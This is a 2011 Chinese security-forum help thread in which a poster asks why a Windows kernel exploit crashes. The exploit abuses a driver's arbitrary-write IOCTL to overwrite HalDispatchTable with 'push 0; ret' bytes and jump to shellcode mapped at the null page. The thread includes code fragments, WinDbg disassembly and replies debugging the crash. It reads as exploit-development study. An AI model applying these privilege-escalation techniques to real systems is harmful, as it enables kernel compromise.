首页
社区
课程
招聘
[求助]急! 驱动溢出过程中的BSOD
发表于: 2011-2-16 22:05 4327

[求助]急! 驱动溢出过程中的BSOD

2011-2-16 22:05
4327


驱动的关键代码如下:
pIrp->IoStatus.Information = len;	
memcpy(pIrp->UserBuffer,InputBuffer,len);

也就是任意内核地址写入的漏洞.

EXE部分:
char To0[]="\x68\x00\x00\x00\x00\xc3";

DeviceIoControl(hDevice,IOCTL1,(LPVOID)&To0,sizeof(To0),(LPVOID)(xHalQuerySystemInformation),0,&junk,NULL);


EXP执行后BSOD,错误如下:
Access violation - code c0000005 (!!! second chance !!!)
00009000 ??              ???

调试结果如下:
kd> u 0x8088e078
nt!HalDispatchTable:
8088e078 0300            add     eax,dword ptr [eax]
8088e07a 0000            add     byte ptr [eax],al
8088e07c 6800000000      push    0 //这里被我写成了PUSH 0,RET.想让内核调到EXP进程的0x0里去,那里有SHELLCODE
8088e081 c3              ret
8088e082 0080e0e48d80    add     byte ptr nt!xHalQueryBusSlots (808de4e0)[eax],al
8088e088 0000            add     byte ptr [eax],al
8088e08a 0000            add     byte ptr [eax],al
8088e08c 669c            pushf

kd> u 0x0
00000000 680f104000      push    40100Fh //真正SHELLCODE所在位置.
00000005 c3              ret
00000006 90              nop
00000007 90              nop
00000008 90              nop
00000009 90              nop
0000000a 90              nop
0000000b 90              nop

请问BSOD原因是什么呢?是栈堆不平衡么?如何解决呢? 谢谢.

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 233
活跃值: (285)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
2
C3对应的近返回,不会修改CS寄存器,而实际上需要远返回,对应的操作码是CB,需要偏移量和CS寄存器对应的值压栈。
2011-2-16 22:30
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
从错误信息来看,00009000的地址去了?
Access violation - code c0000005 (!!! second chance !!!)
00009000 ??
2011-2-16 22:49
0
雪    币: 163
活跃值: (75)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
直接执行地址0的代码前需要map成page_execute吧,我猜..........
2011-2-16 23:15
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
0x0 Allocate的时候就赋予了PAGE_EXECUTE_READWRITE

NtAllocateVirtualMemory( (HANDLE)-1,(PVOID *)&ShellCodeMemory,0,&MemorySize,MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
2011-2-16 23:23
0
雪    币: 233
活跃值: (285)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
6
远跳转要依次把段地址和偏移量压栈,关于这点,可以参考寻址方式的相关资料。

还有就是最好先搞清楚内核空间和用户空间的区别~~
2011-2-16 23:35
0
游客
登录 | 注册 方可回帖
返回
//